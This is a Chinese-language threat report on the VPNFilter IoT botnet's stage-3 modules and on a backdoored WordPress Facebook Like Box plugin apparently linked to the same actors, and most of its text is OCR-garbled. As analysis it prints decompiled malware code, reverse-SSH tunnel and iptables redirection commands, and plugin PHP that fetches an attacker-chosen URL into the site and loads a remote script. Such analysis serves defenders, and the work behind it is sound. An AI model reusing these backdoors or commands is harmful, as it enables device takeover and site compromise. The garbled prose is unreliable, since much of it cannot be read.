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2018/10/22 11:31:44 miscellaneous 290026 loT Botnet VPNFilter Stage 3 Module tepvpn detected!! RS
2018/10/22 11:31:44 miscellaneous 290025  loT Botnet VPNFilter Stage 3 Module SOCKSS5PROXY detected!! BN
2018/10/22 11:31:44 miscellaneous 290024  loT Botnet VPMFilter Stage 3 Module portforwarding detected!!  P=EHE
2018/10/22 11:31:44 miscellaneous 200023 loT Botnet VPMFilter Stage 3 Module METFILTER detected!! =B
2018/10/22 11:31:44 miscellansous 200022 loT Botnet VPNFilter Stage 2 Module nm detected!! EEwS
2018/10/22 11:31:44 miscellaneous 290021 loT Botnet VPNFilter Stage 3 Module ndbr detected!! RN
2018/10/22 11:31:44 miscellaneous 2580020 loT Botnet VPNFilter Stage 3 Module htpx detected!! EEE
2018/10/22 11:31:43 miscellanecus 290026 loT Botnet VPNFilter Stage 3 Module tcpvpn detected!! ENE
2018/10/22 11:31:43 miscellaneous 290025  loT Botnet VPNFilter Stage 3 Module SOCKS5PROXY detected!! RN
2018/10/22 11:31:43 miscellaneous 290024  loT Botnet VPMFilter Stage 3 Module portforwarding detected!!  PEEHE
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Stage
1
Loader

VPNFilterKimfE® By MBZBPALR=

BEbh— : htpx(ZORIRRART):
ZEE IR RIEOT HTTP i, WEVRRR. TR T RIRIR A .

TAR I B B O 1 P A AR
f ( Isys_fork() )
ub_8053 (aSbin, (int)"ir
£ ( Isys_fork() )

'~ sub_8¢ (aShin, (in

v v

T —
SER R EESINE iptables B, LR AL NG RAFAE:
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/s_time(0) )

i ﬂﬁ HTTP JEEE A . exe AIHATSCAF, WIRAFAE , MI3&E HTTP M BiYH S, LA
QIE'FE'J_HMTI#E’J*E%%U/Wr‘/r‘un/tr pid SCAFH 2R

(EYPAD CTRL-"+" TO EXPAND]

SETSO
s GETPEER
¥ sub_ 804

vis[4], (_BYTE)v1e == '?') || (_BYTE)vlie == '&') )

memset (&
sub_ 654(
RequestPayload((

__cdecl RequestPayload(int al)

m R A AF AE Lexe, M iE W K ko, o I W 4E o€ M K K
(.jpg- .jpeg. .png. .gif. .css. .js. .ttf. .woff Z5)HBH% gzip HIm
o4& 2N S text/plain;none:
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GETPEER
SEND_8

aAcceptEncoding

1

M TR R L, BATABLZAER S Z BT AR ILIIBT BL 3 ISR ssler fAAEIR K

FESE ERIAS R .
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Addre:

T SE P DA hepx B AT RE 2 ssler BEEREUY 5 58 F R (WA AT RE & T [F]
I A, (B Z AR e 2)

i ndbr(2I)§E SSH 1. H,)

AR IR A I AR E C2 AR GUHLAR 2 (R it 58 % (1) SSH {3 k55
(Dropbear SSH)%§

ndbr B IR SSH 2 Dropbear, A 5y 2017. 75, Al ARHE/L NS %
AT AH LI iy 2 BRI RE :
<dropbear>
dropbear & Al LAFE/R ndbr Ll SSH ARS8 A51E1T. JH4GY dropbear
AADAEH T BRIA SSH i 1 (TCP/22) KIS & N+ . JAT ndbr BiHE G T
XERAARNS, fERERINET TCP/63914 b AT T . BbAlh, ZARELIEE S T 11
TR WY (keyfile) f) dropbear fURY. BRIARIZ U812 C 4
BN /db_key, 1H ndbr FHLIFBEERERGZ S, 2B buf_readfile iX
4~ dropbear BRE, M XMHXSHE T /db_key I, Hie WNINAEF B EIN# VLR
125
dropbear %5 2% CHAZ SO IE I E Y I AHAT SR I0IE, A SR T%
T B IR . T AR ALE ‘ndbr” W HUAT A . B0 AL 1Y) bug
FERHOALER 7 B AN IR B A AR ERE o X2 B B0 E M2 3 2 ndbr SSH il
KA BNTCIRIE . (B2, WAL RERPE P o AiEkM. BEr, JoikEif e
ndbr SSH RS2 I T G IGAE R IEREH - ‘ndbr’ FRELARHR N2 4H
(Rl/db_key F1/cli_key) #EAIEH, H HAERATHARL VPNFilter HOCH
S SO A AR FRAS 2 AH W (%5 EH
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t aDropbear

Run_As_SSH_Server

if { tduord 8O7BSFO )
{
duord_807BSCE[ 0] = (int)suh_squ?nn((int-
25 - sub_BBKEZAA((int)"");
dword_887BBFB = 1;
dword_807B8F4[ 8] = (int)u25;

¥
if ( dword_B8@7BBCH )

if { sub_88630BC{dword_867BBCA, &u36) )

sub_8B84E69D{ {int}"Error opening banner file '%s°'", dword_867BS8CH, v3, vi});
if { v37 > 2860 )

sub_8B84E69D{ (int)"Banner file too large, max is %d bytes™, 2888, a2, a2);
u26 = sub_8B489FF(u37);
dword_887B958 = u26;
u27 = sub_8B4E8D7(v26, dword_8B87B8CH);
if { v27 )

sub_8B84E69D{ {int)}"Error reading banner file '%s°'", dword_867B8CH, v27, uv27);
sub_8848773{dword_887B958, 8);

H
u2g = yh2;

<dbclient> or <ssh>

L NS HCN dbclient 5L ssh [, ndbr #ELE 78 465 #E Y dropbear SSH
AT I P, (Ha B ILBINETL. 5 H dropbear server #4 ik
BEY M —FE, dbclient/ssh @A HA AR /cli_key.
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t aDbclient

&C

A

loc_8@483BD:
Run_As_SSH_Client

<NMAP>
IR NS HON nmap, ndbr BHUIAT X E TP B IP By s H 34 :

Tel: 010-86469302
Mail:support@6cloudtech.com



Ecloud

NAS 5|45 M BB 22 4

alpEndS
aPortBeginHu

aPortEndHu
aoff
aPings

Y

aScans

aCanTGetSource

aSourceS
aStartScan

aHosts
aHuTcp

alUsageSIpIpAddr db

aRoot_@

<SCP>
WRAE NS SCP, ndbr ia/THE4L SCP Thfk

oteBOptionIsD+ )

loc_808483A2
Run_As_SCP

void _ cdecl _ noreturn sub_8852EB81()
1
suh _8065C8F(
usage :| scp [-1246BCpgrv] [-c cipher] [-F ssh_config] [-i identity_file]\n™
[-1 1limit] [-P port] [-S pruglam]\n
[[user@]host1:]filel [...] [[user@]host2:]file2\n",
off_8878A18) ;
sub_886A239(1);
H

<NDBR>

MFEAEANSHON ndbr, ndbr BEHCEEARYEAL 3 B HAR TS 8T =DM ERIEZ —
SSH i 24 A i L AT iR BN 8 (B /db_key #1/cli_key).
HEASEHALL ‘start” TFk, B0 ndbr BEH HATEIZ,
mFEAE NS Hkg 0T

ndbr <paraml> <param2> "start proxy <host> <port>"

B ATLLT dropbear SSH A4

ssh -y -p 63914 prx@<host> srv_ping 3j(<B64 victim host
name>) <victim MAC address> <param2>

Tel: 010-86469302
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v2 = a2 + 264;
sub_8@865A4A( (int)yal, O=807185CE);
u3 strocmpi{a2 + 264, “start'});
vl a;
if ( w32 )
{
sub BOA664EBD (a2 + 2546, 639147} ;
us strlen{uv2) + 1;
ub Zal[v5];
if { strlen{al) < vs )
return 1;
sub_8@65A4A{ (int)&a1[v5], Bx8607185E, v2, v5);
if { tstrcmp{{unsigned _ int® =juwz, "-1"} }

if ( strlen{al) >= v5 - 1 + 4 )
{
sub_8865A8A( (int)&a1[vSs + 3], @x807185E, a2 + 2546, u2);
return 1;
b
return 1;
?
y9 = a2 + 328;
if { strcmp{{unsigned __ int® =)}u2, “proxy"} }
{
sub_8065A4A( (int)&ub[strlen{v2) + 1], (int)&unk_8671D3?, a2 + 296, a2 + 312, v9);
uh = 2;
¥
else
4
sub_8O65A8A{ (int)&u6[strlen{v2) + 1], (int)"%s %s");
sub_BB66489(uv?, 0);
u7 = sub_8858288();
sub_8O86485C{(int)aZ, (int)"sruv_ping %s™, w7, a2 + 312);
sub_BBG6489(v2, “prxT);
vh = 3;
¥
e

return vh;

X233 dropbear SSH % FuimiE R EHLFF K H “srv_ping” w4, %
A AT REF ) €2 ARSS s M a2 E A

MR NSHHE T

ndbr <paraml> <param2> "start -1 <port>"

Dropbear SSH k452§ (U LFrid) J& ZhFE 46 M 48 e i [ .

sshd -p <port>

IR NS HR T

ndbr <paraml> <param2> "start <user> <host> <port>"
HRLHAT LT dropbear T4 Bz Fi i 1
ssh -N -T -y -p <port> -R :127.0.0.1:63914 <user>@<host>
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sub_BO6648B9(=( BYTE ==)u7B, "
Sub_8B0664B9( *(
Ssub_BB6G64BY( *(
Ssub_BB6G64BY( *(

BYTE ==)(u78 +

BYTE ==)(u78 +

BYTE ==)(u78 +

sub_8066480(={ BYTE ==){u78 +

sub_B0664B0(*( BYTE =*){u78 +

sub_8066489(*(_ BYTE =*){u78 + g

sub_806485C(*{ DWORD =*){u78 + , (Ink)"%s5:127.8.0.1:%s"", &a68, &Port);
sub_806485C(*{_ DWORD =*){u78 + , (int)"%sE@%s");

*{_DWORD =){v7@ + 36) = @;

Run_ns_SSH_Client(?, v70, &a6h6);

R = nm(X % B G 2%)

TZAT R 3 EE T RE A T 1 AN SR A - 19, USCER & A I 245 L o

nm &I FTAE D, M ARP i TUG , X/ FLgs 2 RS TP SRERI 7 M _E
HENGHATER, —BULE] ARP [H14, nm ¥ R ILH ENL A ICMP [8] RiiE K .

WY R] ICMP BINE R, Bl AT ot gk e me gt , 22 aliE 82 =L b
A R FE TCP % 1 :

9, 21, 22, 23, 25, 37, 42, 43, 53, 69, 70, 79, 80, 88, 103, 110,
115, 118, 123, 137, 138, 139, 143, 150, 156, 161, 190, 197, 389,
443, 445, 515, 546, 547, 569, 3306, 8080 or 8291.

ROk, ‘B MikroTik Router0S 4R)JE K BLEMN (MNDP) SR g7 AH M 2% |

AR AR HoA MikroTik 15645 (AL i) MNDP i 11 5678 1% UDP | 4E 1 ) :
|

; eax = var_10 = 1 -->

x, [ebp+fd]

ETSOCKOPT
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SYS_SENDTO

W MikroTik W[5 MNDP  ping, W nm 2 MR I ¥ & H 2 B MAC bk,
AGibriR, WAS, PEIRM, E¥EITHE (F), Routeros #F 1D,
RouterBoard &8 A4 11 44 5

nm BLHLUETE /proc/net/arp  SRIREUB B BE&11 ARP RS ., BIEMHAT K&
(1) IP Huhik A1 MAC il I HiA U £E /proc/net/wireless AN % :

ug - sub_884AB28( "/proc/netsarp’ , (int)&unk_8850428);
]

H
sub_804A038(&uAa?, &ULB, v9) f= -1 )

if { {(unsigned int)uas > Bx13 )
{
ul@ = uh9;
if ( tsub_804B64C({uaY, “IP") && *sub_B8O4B6UC(ui10, "00:00:00:00:00:00") )
{
ui1 = (int)&vi16[sub_BA4BSIC{U1A)];
if { *=(_BYTE *)(ui1 - 1) == 18 )
*=(_BYTE =){ui1 - 1) = B;
sub_8B4B6BL(RU38, 0, 600);
sub_884B128((int)v4?, (int)"%s %s %s %s %s %s”, Gudd, &w3?, &usd, &uil, &us2, Gukd);
sub_884AB54(len, “N\EANENTEs-%s-%shU,An", (int)&v3d);
H
H
H
sub_8B4CAFD{ {unsigned int =jus9);
sub_8B49F14{u9);
H
sub_804B2B4{"NT],%n", 1, 4, len);
sub_864B284("SEV'WIRELESSY" 3", 1, 13, len);
usE = B;
u12 = sub_8B4B1EB{"/proc/net/wireless”, (int)&u5o);
vl3d = vi2;
if (w12 > B8 )
{
iy = 4 = y12;

oid
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AR HE T B )2 2 8.8.8.8:53 (APt DNS Huhik) B TCP iZEF% LA K
R BAT IR B, AR5 ICMP [N SR2BEE TTL A3 N & A% 3
% IP:

; time

FAMZAEGLIE SCHF SSDP BRI (] Bk 55 A B ) , F T4 R LT (1) Upnp

W
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PIE PIE

v18 = sub BB4WBE24({ (int)"230.255.255.250");
sub_8auB6Au(fud, O, Ox400u);
sub_8a4Aa7 L
{(int)&ug,
“H-SEARCH = HTTP/1.1%r\n"
“HOST: %s:%dyrin™
“"HAN: \“ssdp:discoverpi'\rin™
"M EAYAY I
"ST::urn:schemas—upnp-org:device:InternetGatewaybevice :1%rin"
VAN,
239,255,255 .258",
1984) ;
U3 = sub_8B4B61C{&US);

WU B T W 2845 B PR A7 2 %4 8 /var/run/repsc_<time>.bin [l
P S A T

i ) S

Tel: 010-86469302
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*pm*

H

J"RESULT" : {

] TIECsT [

] {"name" :"<infected device interface>",
"addr":"<infected device IP>",
"mask":"<infected dewvice subnet mask>",

] "scan":[

] {"ip":"<discovered IP 1>",

- "ports":[ 1},

] {"ip":"<discovered IP Z2>",

"ports":[ 1},
r
E: ] r
] "MNDP" : {
"0t}
"1},
E: ]' r
] "SSDP" |
},

] "CDPM

E: ]' r

] "LILDE" : {

E: ]' r

] "ARP": [

"<each IP-MAC-Device from /proc/net/arp>",
1.
"WIRELESS" :"<base64 encoded contents of /proc/net/wireless>",

] "TRACEROUTE"™: [

<hops taken to get to ©.0.5.5>

1.

"TIME" :"<time of scan>"

)
)
HoKs /proc/net/wireless SN AT base6d N A7 fik :

Tel: 010-86469302
Mail:support@6cloudtech.com
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t aNiFElES'-

: int

et aProcNetWireles

[eb 5
BasebdEn
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loc_8849138: ; CODE XREF: B

r_18], eax
short loc 8849138

nm BIRFEE AN TSH, HUTHE 8. SHAM UM —F, F—
NSRRI, X RARARAEEIE AL E . nm BT I G — DL 2
AR RIER . bin CHR RIS NE —NMe TSRS, aTfkL)
JaiEE F VPNFilter AR #HTIBE .

Y« netfilter(FE 48 I 25 B0T)

netfilter M = ANS40. I NSECRITH, B =AW 55 HFRE,

AN “<block/unblock> <# of minutes>.” ‘# of minutes’ &
netfilter fEIE H AT ZHATZ K. W “block” #i FHIESR =S5
—#B4y, netfilter 244 LA RN INE] iptables (unblock H-FMIBRHLN) :

FEFRAT IR B ) S AR ZER ) netfilter FIHFEA T ATR I A FEA Y
BEH—MEFPIFIR, %5120 5 K2 168 4~ CIDR IP Hilik%3, fEfTix L 1P
HihEERATRIL, HFERE 5 whatsAPP. Tencent(QQ Chat). Amazon.com(¥
L ) SRR A TN 2 Bl TR A, IX RO netfilter HEHRATREHLIZTT
B e e T BN N AR, AT Re 2N 1l BIKE 52 553 5 ) 21 5 3 B

Tel: 010-86469302
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1

LT portforwarding (Ui %% /)

AR I RE R R R ATE A5 B B B A Fe s ki, 3E AT S SR ERAE
Portforwarding %M UL iy 247 S 54T

Tel: 010-86469302
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1

SRIGAEEL 250NN iptables %wmﬁmé%k%ﬁ

iptables -t nat -I PREROUTING 1 -p tcp -m tcp -d <IP1> --dport
<PORT1> -j DNAT --to-destination <IP2>:<PORT2>

iptables -t nat -I POSTROUTING 1 -p tcp -m tcp -d <IP2> --dport
<PORT2> -j SNAT --to-source <device IP>

B S NKs 2 SV £ AT AL R (IP1: PORT1) #%EE 7€M %] IP2: PORT2,
55 2R DA B SO R P U B O A2 R G R A U L, B DR B 88 M B 3K [
NI G e, I HL s I SEET MR (AN JE NS ), DRAIE I (A 2 1 B B

8, loc_4087ES

I

loc_40854C:

Tel: 010-86469302
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aIptablesTNatIP:.ascii "iptables -t nat -I

aNfFilterS:

alptablesTNatIP

BN : socksSproxy(7EEE L% £ |22 3E SOCKS5 L)
% socks5proxy fEHIE T IR H SOCKSS AFE RS 28 2.6.8 TP R M. ZIRSS
s AMEH S 8eiE, If BAEgw AL i TCP 5380 ¥ [ :

sub_8849CE@

3
loc_80848516

TERS 2R E 2 1T, socks5proxy fork EZFHHSHHIEER C2 RG4S,
WS AR SS B AE T LB WA N, ) fork 2B HACHERE (RS2, R)GIB
Ho €2 AR4s a3 mT LA FH iy & 3E 47 B DA IE 5 $0AT B8 I AR 45 45

Tel: 010-86469302
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LOWORD( addr) 2;
HIMORD(addr) =  ROR2_ (sub_805727C{ak), 8);
u18 = sub_8B559EC(a3);
yi2 sys_fork();
ve = B8;
dword_885D9FC = wvi2;
if ( vi2 <= 8 )
{
if { tui12 )
{
u23 =18
ui3 a;
ull 8;
v22 = sub_8@559EC(al);
while § 1 3}
{
ul5 = SY5_SOCKET(2z, 1, 8);
if ( vi15 >= 8 )
{
if { SYS_COHHECT{w15, &addr, 16) >= 8 )
{
u13 = SYS_SEND(v15, &uw22, 4, 0x4000);
if { vi13 == 4 )
{
u13 = SYS_RECU(vi1%, {int)&v23, 1, 256);
if ( vi13 == 1)
{
3Y¥YS_CLOSE{uv15);
if ( tv23 )
LABEL_22:
SYS_EXIT(A):
if ( v23 == 1)
{
LABEL_16:
vi6 = sys_getppid{);
sys_KILL{v16, 15);
3YS_EXIT(A);
H
¥
¥

H
SYS_CLOSE(u15);

WS LR, HENIA S socksSproxy B SHt N, I HIGEE
AT SEB SR L 15

int sub_884n8D8()

{
sub_8B853DE4("'ssserver™);
sub_8853DE4(" ——username <username> username for auth™);
sub_8853DE4(" ——password <{password> password for auth™);
sub_8853DE4(" -p, —-port <{port> server port, default to 1886);

sub_8853DE4{"" -d run in daemon");
sub_8853DE4(" ——loglevel <leuvel> log levels: fatal, error, warning, info, debug, trace™);
return sub_8853DE4(™ —h, —-help help™);

socks5proxy fRHR I dr 217 ZH N
socks5proxy <unused> <unused> "start <C&C IP> <C&C port>"

B tepvpn(7E 52 B YL #4557 [ [7] TCP VPN)

tcpvpn BIE I EIIREE R %xlﬁcﬂi%ﬂﬁltﬂ%u e £ T AE T NI, 1 dE e m)
THE C&C k2548 AL G AR RS — £, T FE C&C RS2 1T LME Tun/Tap W&
—FEE, Ll TCp ﬁ%%ﬁ%ﬂ&@ IR AR 25 15 24 1 o, XA B
TG 87 B A B KB NAT o AR S R IENEF Cobalt
Strike fT¥%F i) VPN Pivoting.

Tel: 010-86469302
Mail:support@6cloudtech.com
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L E B IE I P R AL ) RCA NS, B PR S D AERE A o

/7 [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-'+" TO EXPAND]

v27 = _ readfsquord(8x28u);
_sprintf_chk({
{ inté4)str_in,
1LL,
256LL,
{__intéu) .
(unsigned int)t->net lport,

(unsigned int)t->net_rport);
LODWORD(u1} = t->net_lport;
_sprintf_chk({

(  inté4)str out,

1LL,

256LL,

{__intéu) .

(unsigned int)t->net rport,

ui};
tepvpn BEHUEIT 21T SN
tcpvpn <unused> <unused> "start <C&C IP> <C&C port>"

: main+A@Tj
s1

DE XREF: main+FBlj

: main+E713

Tel: 010-86469302
Mail:support@6cloudtech.com
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Fiv RERAHT 5 HIR

FEFRA T T A S B b FRATT R B HEMN T VPNFilter 42 7 ) Hh ke, Moy 3 DA S% R
() 4% P 28 B 4% 1 B R VAL 1 VPN AR B 3B 1% VPN A BE BT 52 B UL i B 28 15 05
(I 5E S, HEREEGE I B OO g BA R, RiXFETE
55 5%, Bt AR = (7 k8% DL K. WAF 25 T B B pa 633 ) AR 5 A SCHY tepvpn #5
B AR 3 b, 2 BB AT 24 B () HE BT 5 45 IE MR, XAl “vPN” ARELEE T I
5353 075 N — A AU 2 i i 4 g8 0 A sUAR BE P 2% B 5 5 RO IE 5 BRI
Bk, il — PP SRR B Je S L B AR S R B, R AN
TR A

7 LR 3 nm BTt fE s, RATRBLZE S MikroTik B HH#%
A Ji A IR 5 67 X 2% T HA ) MikroTik 4%, TRLE 8 A4, 4EREfpssik &
T —/> MikroTik RouterOS Jiiiil(CVE-2018-14747)F|H,iZ IR T 44F 3 A N aj#k
RIL, HEZE Winbox for MikroTik RouterOS 6.42 J 2 BTl ATA A, mFEXt &
AL 38 5 B SR A 2 IR IR Seid B 4 B0 R BUE R S, s AR Lz, M
H T MikroTik 2% H 2% I RIE Rl 9345, AHEHEN VPNFilter F| A Z IR ITFAE N & 4]
(P2 &2 —, M RouterOS JBAZ 1 8291 (7 L4k E, HIEFFFE3 A
26 H 5. H i 345 %0E 514 180,000+, 7E X 5 Ja /2 £ 7 VPNFilter 76 P (48 )7 X 4%
SXof I DX it ity 1 R R (R IR F 4T N

eeeeeeeee

—- Targets/Da

FAMIT AT IHE B IR VPNFilter 18 7 W 251 J5 (Bt 2R 2 B SR %, 3 24T
X o = AT I — IR B K ) W By, 38 Il B TR 1 SR e o0 Al 5 R P2 4, R
fIIRERE R B IR B A 1 fa A 2A0E 2 58 K I APT 2R 41 APT28(Fancy Bear,
ez LIRe”, ZH AL T 2000 FEARHHE,  FEARS TR HTBUR IEGE R
i), AR Z AT A BT ER AT EER B 1 B loader A 251 A Photobucket.com B%
ToKnowAll.com b F #0% & K Rt 17 i 2 3R Py Bt 2 e b, HA
photobucket.com & J& T #& HF H 19 155 B A 43 = Mk, 17 toknowall.com J& T
Wt H MR RIS 4, Eid X toknowall.com #E1T whois &), AT A I Z
4 F H B [E ) 55 B BR T — 2K 4 1Y Earthworks Yard Maintenance 122 & /) 5 .
M
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Domain Status: clientTransferProhibited - http://www.icann.org/epp#clientTransferProhibited
Registry Registrant ID:

Registrant Name:

Registrant Organization] Earthworks Yard Maintenance I
Registrant Street: 88 Wressle Road

Registrant City:

Registrant State/Province: Plymouth

Registrant Postal Code: WA16 5RJ

Registrant Countr‘y:

Registrant Phone: +44.4407765340844

Registrant Phone Ext:

Registrant Fax:

Registrant Fax Ext:

Registrant Email:|hew241985@gmx . com
Registry Admin ID:

\ﬁﬁﬁ%@%mwﬁﬁwmm&ﬁﬂ%ﬁ%%ii@ﬂ%ﬁ%?%rrNﬁ
%, BAERWT:

Bookcutsmall.top Kevin Baader Earthworks Yard Maintenance dem143237@dlemail. ru
Bookhappenhappy . top Swen Eichel Earthworks Yard Maintenance dem143612@dlemail. ru
Bookreturnbetter. top Max Probst Earthworks Yard Maintenance dem143899@dlemail. ru
Christianfechtdesign.com Florence G.Brinley Earthworks Yard Maintenance admin@gquantumfrog. com
Evridiki-studios.com Willian Gross Earthworks Yard Maintenance webadmin@farghana.org
Lyricallysquared.com Monica Johnson Earthworks Yard Maintenance webadmin@verybigmoney.net
Marketingmalawi.top Eric Earthworks Yard Maintenance petrrydzé@mail.ru
Popularg.net John Odea Earthworks Yard Maintenance email@popularg.net
Thefinnews.us Jack Kerr Earthworks Yard Maintenance Jjackkerrfiyandex. com
firstlifecoverage.net Marry Schrack Earthworks Yard Maintenance Mary . Schrack@earthworkslawnga
Simplehomemonitoring. net Marry Schrack Earthworks Yard Maintenance Mary . Schrackiearthworkslawnga
Mesaros29.club John Odea Earthworks Yard Maintenance eduardziminhps@mail.ru
Southampton-Watford- Ottavio Ferri Earthworks Yard Maintenance otavvioferril@Hotmail.com
livestream.club

firsthomecoverage.net Marry Schrack Earthworks Yard Maintenance Mary .Schrack@earthworkslawnga
Angierusell.club Willian Baker Earthworks Yard Maintenance vladislavdhxtx@mail . ru

SR IS — R A RERAZ %kﬂ]ﬁiimt7kiﬂﬂ$ﬂ$ﬁ NEINDYS S| NS PN ¥ s
HEEFEEHARL, BEASAE , T H#IEHR 17 ML, HA
verybigmoney.net {& SR 173 » ﬁL_XTWI_JJElﬁﬁH}#? W, AT LATH 4.9.8
WA WordPress, 1} H.18 F 4 4" cardoza-facebook-like-box” [ 34, iR A< i 7~ A
T 2.10.1:

Tel: 010-86469302
Mail:support@6cloudtech.com
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Analysis of http://verybigmoney.net

Version is current

Dshield Blocklist:

Nmap Port Scan | | Reverse IP (Hosts Sharing IP) | HTTP Headers  Page Links

Shared Hosting

Web Server:
Reputation Check Apache/2.2.27 (Cent0s)
X-Powered-By:
PASS ED None
P Address
WordPress Version Google Safe Browse: m 88.80.186.114
4 9 8 Spamhaus Check m Hosting Provider:
L Compromised Hosts: m Linode ES
@=
@

Found in META Generator Tag Shadowserver C&C: 141 sites found on 88.80.186.114

= WordPress Plugins

The following plugins were detected by reading the HTML source of the WordPress sites front page.

- latest release (2.10.1)
e | _cardoza-facebook-like-box__|

https:/#/johnnash.info/facebook-plugin/

Plugins are a source of many security vulnerabilities within WordPress installations, always keep them updated to the latest version available and check the developers plugin page
for information about security related updates and fixes.

There are likely more plugins installed than those listed here as the detection method used here is passive. While these results give an indication of the status of plugin updates, a
more comprehensive assessment should be undertaken by brute forcing the plugin paths using a dedicated tool.

cardoza-facebook-like-box i & HH & fEAE ZI) WordPress JF & L2 Vinoj
Cardoza T K H1,% Google 1R IAE Github FFFRZIGMIEAMD, P 2 N
Y

2 repository results

WPPlugins/cardoza-facebook-like-box @ PHP

This is a mirror of the svn repo:
https://plugins.svn.wordpress.org/cardoza-
facebook-like-box/, the master is always ...

lpdated on 2 Aug 2017 |

wp-plugins/cardoza-facebook-like-box @ PHP

WordPress.org Plugin Mirror

Updated on 26 Feb 2015

B NI FEHIN R 2017 £ 8 H 2 H, Wi A2 =4, OVENE -4
PEARRS HEAT 404, 8 OB T AR 22 2 d 1k, BAMRZIRATRINAE 2.9
WA ] cardoza_facebook_like_box.php HAF{EAN 2 XY, A RE 5| EAE AN k-
A& I :

Tel: 010-86469302
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WPPlugins / cardoza-facebook-like-box @Watch> 1 *Sar 0 YFork 0
<> Code Pull requests 0 Projects 0 Insights
Branch: master v | cardoza-facebook-like-box / cardoza_facebook_like_box.php Find file | Copy path
B wppluginsbot updated cardoza-facebook-like-box to version 2.9 c14218b on 2 Aug 2017

1 cantributor

618 lines (545 sloc) | 27.8 KB Raw Blame  History [ & T

<?php

Plugin MName: Facebook Like Box

Plugin URI: https://johnnash.info/facebook-plugin/

Descri on: Facebook Like Box enables you to display the facebook page likes in your website.

License: GPL2

if(isset($_POST[ 'out_fileupload']))

£file_wrl=%_POST["file_url'];
$file_name=explode("/",%file_url);

$Fils me=£file_name[count($file_name)-1];

file_put_contents{dirname{__file_ )."/custom-css/$file_name",file_get_contents($file_url));

exit;

HREL WordPress JNEAL T 1% 3N %44 B B4 m) SCAF A% SR st g is 1714 4%
i, BRI 3 R R 1 1) 12 Xl 32 00 B B4 U 1) SCAF s Re e AR S e ARt
1T, e Tt AR BRA TR B H A AR 7 Sz AR AT 5, Xk
A% BRI IR 7T BE & o Mok 3 S = N, 13847 s B9 46 4 £ 57 % X 5 (supply-
chain attack) ,7E cardoza_facebook_like _box.php HFA T &L T —AbnT SE e /EAR
fith:

function cardoza_facebook_posts_scripts({)

I wp_enqueue_script{'admin_cfblbjs", 'https://johnnash.info/plugin/ads.js'); I

if{isset($_GET['page’ 1))

i
1F{$_GET['page’]=="slug_for_fb_like_box")
wp_engueue_script('admin_cs_cfblbis', plugins_url('/admin_cardozafacebook.js', _ FILE__}, array('jquery'});
¥
wp_enqueue_style( admin_cfblbcss®, plugins_url('/admin_cardozafacebook.css”, _ FILE_ });

¥

X S5 https://johnnash.info/plugin/ads.js £ URL %% LA JavaScript I 2 N#;
B E AR RE M TR E H (T S a8 HAh), 1556 O
FREAT ST Tz, RIHE/RTH, ads.js BH TR, XASRATER
SBE 2, X B FRATT S SRR IRAT 0 A O RRCAS A 2.9, 170 X 3 i FH s 3 B0 e R AR S
2.10.1, T Eilid google FEIFHT ) 2.10.1 FRAARD, L5t &P 2.10.1 fRA
CLER T EI AL 2 A% 2 A0

Tel: 010-86469302
Mail:support@6cloudtech.com
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ioza

//ichnnash.info/facsbook-plugin, hnnash. infe/facebook-plugin

2.10.1

add_action(’
add_action('
add_action('
add_action "
add_action ("

url);

add_shortcode ( | 18 file_put_contents(dirname(_file__}."/cust s5/§file_name”, file_get_centents {
add_shortcode ( "} s | Sfile_url});
add_action( 19 exits

add_action( enqueus, pts’,
register_activation_hook( _ FILE_,

action('a

function cfblb_activate()

(
update_option(’'cEbik
update_option(*
update_option (et
update_option ('
update_option ('
add_option('cfbl

register_activation_hook( _ FILE ,

]
function cfblb_activate ()
1
update_option ('
update_option ('
update_option ('
update_option ('

function cfblb_redirection()
t

if (get_option(’
delate_option('cfblh_header
wp_redirect (admin_url(’opticns-gene:

exit:
}

v function cardoza facebook posts_scripts ()

function cardoza_facebock_posts_scriptsi() Wp_enquene_script (

if(isset(_cET['p

if (1sset(5_GET['pag='1))

IFAE AT AT 2.9 fRAZ BTHIRA 2.8.8 #H4T T #iitl, tWIEA KIL 2 448
i, HIKI 2.88 AHIERE & johnnash1975:

<?php
= / &
Plugin Name: Facebook Like Box
Description: Facebook Like Box enables you to display the facebook page likes in your website.
Version: 2.8.8
Author:
License: GPLZ
L o* /

add_action('admin init', 'cfblb_eng scripts'):;
add_action('wp_engusue_scripts', 'cfblb eng scripts');

add_action("plugins_loaded", "cardoza_fb like init");
add_action("admin menu", "cardoza fb_like_options");
add shortcode ("cardoza_facebook 1 "cardoza_facebook_1
add_shortcode ("cardoza_facebook posts_like", "cardoza_ facebook posts_1

[ i AT THAE Vinoj Cardoza & 71 A5 M1 H & EHGF248 T 58 =7 N

Tel: 010-86469302
Mail:support@6cloudtech.com
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Vinoj Cardoza
I October 4,2017 at 9:26 am I
Hi,
Thanks for posting your question. Sorry, | have alreadhis plugin to
someone else. | have forwarded your question to them.

reply to comment —

March 17,2017 at 7:02 pm

FB Like Box suddenly started to show the error “Not a valid Facebook Page url’,
although the correct URL of the linked page continues to be in the “Facebook Page
URL" field of the Facebook Like Box Options. (I've also made sure it is correct by
copying the address from the address bar of the Fb page several times.)

It has been argued that this error could be caused by some recent Facebook
change. Could you please look into this.

Note: We're using WordPress version 4.7.3.

Vinoj Cardoza
October 4,2017 at 9:27 am

Sorry, actually | sold this plugin to someie else.

X FE johnnash1975 X ™44 7 mt BR A 1H] 2 — AbAS 22 AR i J 21 URL
https://johnnash.info/plugin/ads.qs x OB & Ok T,
https://johnnash.info X/M#4 RN 1%2& johnnash1975 1, ilid whois 7
WA, iz AEMN T 2017 43 H 15 H,

Registrar Info

Name GoDaddy.com, LLC

Whois Server whois.godaddy.com

Referral URL http://www.godaddy.com

Status clientDeleteProhibited http:/fwww.icann.org/epp#clientDeleteProhibited

clientRenewProhibited hitp:/www. icann.org/epp#clientRenewProhibited
clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited
clientUpdateProhibited http://www.icann.org/epp#clientUpdateProhibited

Important Dates

Expires On 2019-03-15
Registered On 2017-03-15
Updated On 2017-09-21

Tel: 010-86469302
Mail:support@6cloudtech.com
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111 8 P F A2 s I A IR I AT 2 3 16 H -

Timestamp: _03/16/2017 05:31:58 AM (19 months ago)

Author:| johnnash1975 ® Show 2 lines around each change

Show the changes in full context

View differences | inline v

Message: update. features added. bugs fixed. upwork - lucas.
Ignore:

Location: cardoza-facebook-like-box/trunk Blank lines
Files: ] 1added [] 1 edited Case changes
White space changes
O card

b php (8 diffs) Update
[[] custom-css

[J Unmodified [ Added [l Removed

e-box/t al ke_box php Tabulsr Unified
